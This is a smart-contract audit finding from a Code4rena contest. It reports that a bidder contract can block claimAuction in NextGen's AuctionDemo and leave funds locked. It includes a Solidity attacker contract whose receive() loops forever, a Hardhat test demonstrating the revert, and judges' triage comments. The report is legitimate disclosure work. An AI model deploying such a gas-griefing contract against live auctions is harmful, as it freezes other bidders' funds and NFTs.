Bidder can DoS claimAuction

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Summary

A bidder can cause a DoS in the claimAuction function and preventing the owner from claiming his NFT.

Vulnerability Details

claimAuction function can be called by the highest bidder to claim his NFT and this function is supposed to transfer the NFT to the msg.sender, pay the previous owner of the NFT and return all the funds to the other bidders, however when trying to refund we use payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""). This can be exploited because the bidder can be a contract that makes the transaction run out of gas and therefore DoS the function.
This also means that the funds are stuck in the contract since there is no way a user can get his money back.
An attacker can perform this attack pretty easy because if he is the first bidder he can send a value close to zero. Also he can front-run another bidder so that the attacker can be the first person (to pay very little).

Proof of Concept

Add this contract in hardhat/smart-contracts

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import {auctionDemo} from "./AuctionDemo.sol";

contract BidderContract {
  function participateInAuction(address auctionContract, uint256 tokenId) external payable {
    auctionDemo(auctionContract).participateToAuction{value: msg.value}(tokenId);
  }

  receive() external payable {
    while(true) {}
  }
}

Add this test to nextGen.test.js:

context("Custom tests", () => {
  it("#bidder DoS claimAuction", async function () {

    await contracts.hhMinter.mintAndAuction(signers.addr3.address, "tokenDataaaa", 23, 2, 1796931278);
  
    const bidderFactory = await ethers.getContractFactory("BidderContract");
    const bidderContract = await bidderFactory.deploy();

    //deply auctionDemo

    const auctionDemoFactory = await ethers.getContractFactory("auctionDemo");
    const auctionDemoContract = await auctionDemoFactory.deploy(await contracts.hhMinter.getAddress(), 
        await contracts.hhCore.getAddress(), 
        await contracts.hhAdmin.getAddress());

    await time.setNextBlockTimestamp(1796931178 + 1);

    await bidderContract.participateInAuction(await auctionDemoContract.getAddress(), 20000000001, { value: 
      ethers.parseEther("0.5") });

    const auctionDemo = await auctionDemoContract.connect(signers.addr1);

    await auctionDemo.participateToAuction(20000000001, { value: ethers.parseEther("1") });

    await time.setNextBlockTimestamp(1796931278 + 1);

    await expect(auctionDemo.claimAuction(20000000001)).to.be.reverted;

  })

})

Also add time from @nomicfoundation/hardhat-toolbox/network-helpers at the top of the test. Like that:

const {
  loadFixture,
  time
} = require("@nomicfoundation/hardhat-toolbox/network-helpers")

In this test we can see how BidderContract performs a successful DoS and leaves all the funds locked in the AuctionDemo contract.

Impact

Funds are stucked in the AuctionDemo contract, prevents the highest bidder from claiming his NFT

Tools Used

VS Code, Manual Review, Hardhat

Recommended Mitigation Steps

I would recommend to check if the msg.sender is a contract in the participateToAuction function and prevent him from placing a bid.

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1782

[c4-judge]

alex-ppg marked the issue as partial-50